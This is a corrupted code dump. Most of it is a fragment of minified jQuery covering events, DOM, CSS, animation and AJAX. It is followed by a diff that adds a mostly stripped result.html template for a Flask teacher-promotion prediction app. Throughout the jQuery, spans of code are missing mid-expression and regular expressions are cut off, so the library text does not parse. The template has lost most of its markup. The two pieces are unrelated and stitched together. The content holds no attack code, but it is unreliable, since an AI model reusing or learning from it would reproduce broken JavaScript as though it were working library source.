o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w(" + + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/templates/result.html b/FLASK PROJECTS/Teacher Promotion Flask API/templates/result.html new file mode 100644 index 00000000..e87fbed1 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/templates/result.html @@ -0,0 +1,55 @@ + + + + + + + + + + + + + + + + + + + Promotion Prediction System + + + + +
+
+
+ +
+
+
+
+

Promotion Prediction System

+
+

Mr./Ms. {{firstName}} {{ lastName}} is {{ prediction }} + for Promotion.

+







+
+ + + +
+
+
+ + +
